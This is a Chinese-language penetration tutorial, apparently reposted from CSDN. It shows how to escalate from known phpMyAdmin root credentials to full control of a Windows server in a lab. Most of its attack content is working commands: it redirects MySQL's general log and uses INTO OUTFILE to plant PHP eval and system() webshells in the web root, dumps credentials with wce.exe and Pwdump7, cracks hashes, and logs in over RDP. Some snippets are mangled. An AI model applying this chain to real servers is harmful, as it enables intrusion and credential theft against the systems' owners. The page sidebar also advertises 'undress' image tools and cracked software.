搜索
首页数据库phpMyAdmin关于phpMyadmin提权那些事

关于phpMyadmin提权那些事

Jan 11, 2021 pm 03:04 PM
phpmyadmin

下面由phpmyadmin教程栏目给大家介绍关于phpMyadmin提权那些事,希望对需要的朋友有所帮助!

关于phpMyadmin提权那些事

引言:在渗透测试过程中获知到phpMyadmin的账号密码,如何进行提权呢?往下看,我今天和你说说phpMyadmin提权那些事。

0×00 定义

        phpMyAdmin 是一个以PHP为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可用Web接口管理MySQL数据库。

0×01 环境准备

目标: Windows Server 2003 Enterprise x64 Edition    192.168.17.137攻击机: window7 192.168.17.132Php:5.45Mysql: 5.5.53Apache: 2.4

0×02  开始渗透

我们经过弱口令,爆破,目录泄露等途径已经获知PhpMyadmin的账号密码是root  root。接下来我们就通过phpMyadmin来提权,尽可能贴近真实,多讲思路。

a 收集有用信息

image.pngimage.png

如上图所示,我们可以获取到以下有用信息。

  • 1.操作系统是windows server 2003 x86
  • 2.服务器是Apache 2.4.32
  • 3.网站默认路径是 E:\phpStudy\PHPTutorial\WWW
  • 4.PHP版本是 5.45
  • 5.mysql版本是 5.5.53

b  检测插入条件

在上面我们已经获知了网站默认的路径是E:\phpstudy\PHPTutorial\WWW,这个时候我们肯定想插入一句话后门文件或者是导出shell。那如果我们需要使用以上两种思路中的一种必须满足一个前提条件“secure_file_priv”对应的值不能为空且必须为默认网站的路径,所以我们必须提前检测一下“secure_file_priv”的值。

phpMyadmin执行以下命令:

SHOW VARIABLES LIKE “secure_file_priv”;

结果如图所示:

image.png

从上图得知值为空,如果我们这时导入一句话,肯定会失败的,不信啊,那我们试试。

image.png

报错The MySQL server is running with the –secure-file-priv option so it cannot execute this statement,这是因为mysql对通过文件导入导出作了限制,默认不允许。默认value值为null,则为禁止,如果有文件夹目录,则只允许改目录下文件(测试子目录也不行)。我们思考一下看看能否设置其的路径为我们的默认网站路径,这样我们就可以导入一句话后门了。那我们试试吧。

image.png

从图得知这个变量是一个只读变量无法动态更改,那应该是只能从配置文件中更改了。到这里发现陷入了一个胡同,那常规方式不行,我们可以去使用一些骚思路,利用log日志文件插入一句话。

c 转换思路

我们首先需要检测的是MySQL全局变量(general_log、general_log file)的值。

  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。

image.png

从图得知general_log默认是关闭的,log日志存放的位置是E:\phpStudy\PHPTutorial\MySQL\data\。

首先我们来理解一下开启general_log 的作用,开启它可以记录用户输入的每条命令,会把其保存在E:\phpstudy\PHPTutorial\MySQL\data\下的一个log文件中,其实就是我们常说的日志文件。好,我们的利用的思路是开启general_log之后把general_log_file的值修改为我们网站默认路径下一个自定义的php文件中,然后我们通过log日志进行写入一句话后门到上面去,然后再进一步利用。

具体命令是:

set global general_log = "ON";SET global general_log_file='E:/phpStudy/PHPTutorial/WWW/infos.php';

image.png

image.png


紧接着我们可以看到在网站根路径下找到我们生成的伪日记文件infos.php。

image.png

然后我们就得插入我们的一句话后门了。

select ‘’;

image.png

我们可以尝试使用菜刀连接,成功连接。

image.png

d 获取管理员密码

0×00 直接获取明文

我们上传wce.exe获取明文密码。运气贼好,直接获取到明文(11位字母和数字混合的密码)。如果不能直接获取明文那就得走第二条获取hash值然后解密了。

image.png

0×01 获取hash值

上传Pwdump7.exe获取hash值保存到password.txt文件中。获取hash值可以选择在线http://www.objectif-securite.ch/en/ophcrack.php跑,跑不出来就用Ophcrack导入彩虹表跑吧。

image.png

image.png


e 查看3389是否开启

直接在菜刀终端输入“netstat -an | find “3389″ 或者“netstat -an ”。

image.png

发现3389没开,但是3390就开了,我们尝试连接一下。

f  登陆服务器

运行mstsc开启远程桌面。

image.png

image.png


输入上面获取到的账号和密码,成功登陆。
image.png

最后肯定是要清楚痕迹的,但我这里就不写了,写的内容也是贼多了

0×03 扩展

上面演示了secure_file_priv值为空的情况,那么如果secure_file_priv不为空那我们该怎么办?

a 配置my.ini文件(不对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/MYSQL/”

image.png

image.png


尝试改变值,发现只是可读,不能写,那种情况无法写入我们的一句话,因为其限制了导出路径,无法把一句话写入之后导出到我们的网站根目录。

image.png

image.png



b 配置my.ini文件(对应网站根路径)

打开mysq的配置文件my.ini,对secure_file_priv的值进行设置,然后重启mysql。

secure_file_priv =  ”E:/phpStudy/PHPTutorial/WWW/”

image.png

然后我们尝试插入一句话后门,成功插入。

image.png

二话不说菜刀连接。

image.png

image.png


当然一句话还可以这样插入。

CREATE TABLE `mysql`.`informationes` (`inform` TEXT NOT NULL);INSERT INTO `mysql`.`informationes` (`inform`) VALUES ('<?php @eval($_POST[pass]);?>');SELECT `inform` from `mysql`.`informationes` into outfile 'e:/phpStudy/PHPTutorial/WWW/infos.php';DROP table if exists `mysql`.`informationes`;(注意: c:/phpStudy/PHPTutorial/WWW/为网站的绝对路径)

c 导出具有命令权限的Shell的php文件

select ‘\’;system($_POST[\'yumu\']);echo \’\’;?>’ into outfile ‘c:/phpStudy/PHPTutorial/WWW/test.php’;

image.png

image.png

0×04 总结

本文中的环境是除了没上waf其他都是尽可能地贴近真实环境,模拟真实的环境给大家去分析和讲解思路,希望大家有所收获。

以上是关于phpMyadmin提权那些事的详细内容。更多信息请关注PHP中文网其他相关文章!

声明
本文转载于:csdn。如有侵权,请联系admin@php.cn删除
PHPMYADMIN的目的:轻松管理MySQL数据库PHPMYADMIN的目的:轻松管理MySQL数据库Apr 12, 2025 am 12:14 AM

phpMyAdmin是一款基于Web的MySQL数据库管理工具。1.它支持基本的CRUD操作和高级功能,如数据库设计和性能优化。2.通过Web服务器运行,接受用户输入并转换为MySQL命令。3.基本用法包括创建数据库,高级用法支持查询优化。4.常见错误如权限不足可以通过检查用户权限解决。5.性能优化包括索引优化、查询优化和数据库设计。

MySQL和PhpMyAdmin的角色:详细的故障MySQL和PhpMyAdmin的角色:详细的故障Apr 11, 2025 am 12:14 AM

MySQL和phpMyAdmin的角色分别是存储和管理数据、提供用户友好的数据库管理界面。MySQL通过SQL进行数据操作,phpMyAdmin通过HTTP请求与MySQL交互,转换用户操作为SQL命令。

phpmyadmin连接数据库phpmyadmin连接数据库Apr 10, 2025 pm 11:09 PM

通过 phpMyAdmin 连接数据库的方法:访问 phpMyAdmin 网站,使用凭据登录。选择要连接的数据库。在“操作”选项卡下选择“导出”选项。配置导出设置,选择格式、表和数据范围。保存导出的文件。在目标数据库中选择“导入”选项卡并浏览导出的文件。点击“执行”按钮,然后使用“查询”选项卡验证导入是否成功。

phpmyadmin怎么连接oraclephpmyadmin怎么连接oracleApr 10, 2025 pm 11:03 PM

通过以下步骤连接 phpMyAdmin 至 Oracle 数据库:1. 安装 Oracle 驱动程序;2. 创建数据库连接,包括主机、用户名、密码、端口和类型;3. 保存设置以建立连接;4. 从 phpMyAdmin 中选择连接的 Oracle 数据库即可管理和使用它。

phpmyadmin建立数据表phpmyadmin建立数据表Apr 10, 2025 pm 11:00 PM

要使用 phpMyAdmin 创建数据表,以下步骤必不可少:连接到数据库并单击“新建”标签。为表命名并选择存储引擎(推荐 InnoDB)。通过单击“添加列”按钮添加列详细信息,包括列名、数据类型、是否允许空值以及其他属性。选择一个或多个列作为主键。单击“保存”按钮创建表和列。

phpmyadmin连接mysqlphpmyadmin连接mysqlApr 10, 2025 pm 10:57 PM

如何使用 phpMyAdmin 连接到 MySQL?访问 phpMyAdmin 的 URL,通常为 http://localhost/phpmyadmin 或 http://[您的服务器 IP 地址]/phpmyadmin。输入您的 MySQL 用户名和密码。选择您要连接的数据库。点击 "连接" 按钮以建立连接。

phpmyadmin自动增长idphpmyadmin自动增长idApr 10, 2025 pm 10:54 PM

phpMyAdmin 中设置自动增长 ID 的步骤:打开 phpMyAdmin 并连接到数据库。选择要创建自动增长 ID 的表。在“结构”选项卡中,勾选“主键”部分的“自动增长”复选框。在“从”和“到”字段中输入自动增长 ID 的起始值和结束值。单击“保存”按钮。设置自动增长 ID 的优势包括:简化数据插入。确保唯一性。优化性能。易于识别。需要注意的事项:确保自动增长 ID 范围足够大。重复值可能无法

phpmyadmin怎么打开phpmyadmin怎么打开Apr 10, 2025 pm 10:51 PM

可以通过以下步骤打开 phpMyAdmin:1. 登录网站控制面板;2. 找到并点击 phpMyAdmin 图标;3. 输入 MySQL 凭据;4. 点击 "登录"。

See all articles

热AI工具

Undresser.AI Undress

Undresser.AI Undress

人工智能驱动的应用程序,用于创建逼真的裸体照片

AI Clothes Remover

AI Clothes Remover

用于从照片中去除衣服的在线人工智能工具。

Undress AI Tool

Undress AI Tool

免费脱衣服图片

Clothoff.io

Clothoff.io

AI脱衣机

AI Hentai Generator

AI Hentai Generator

免费生成ai无尽的。

热门文章

R.E.P.O.能量晶体解释及其做什么(黄色晶体)
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.最佳图形设置
3 周前By尊渡假赌尊渡假赌尊渡假赌
R.E.P.O.如果您听不到任何人,如何修复音频
3 周前By尊渡假赌尊渡假赌尊渡假赌
WWE 2K25:如何解锁Myrise中的所有内容
3 周前By尊渡假赌尊渡假赌尊渡假赌

热工具

Atom编辑器mac版下载

Atom编辑器mac版下载

最流行的的开源编辑器

螳螂BT

螳螂BT

Mantis是一个易于部署的基于Web的缺陷跟踪工具,用于帮助产品缺陷跟踪。它需要PHP、MySQL和一个Web服务器。请查看我们的演示和托管服务。

ZendStudio 13.5.1 Mac

ZendStudio 13.5.1 Mac

功能强大的PHP集成开发环境

EditPlus 中文破解版

EditPlus 中文破解版

体积小,语法高亮,不支持代码提示功能

SecLists

SecLists

SecLists是最终安全测试人员的伙伴。它是一个包含各种类型列表的集合,这些列表在安全评估过程中经常使用,都在一个地方。SecLists通过方便地提供安全测试人员可能需要的所有列表,帮助提高安全测试的效率和生产力。列表类型包括用户名、密码、URL、模糊测试有效载荷、敏感数据模式、Web shell等等。测试人员只需将此存储库拉到新的测试机上,他就可以访问到所需的每种类型的列表。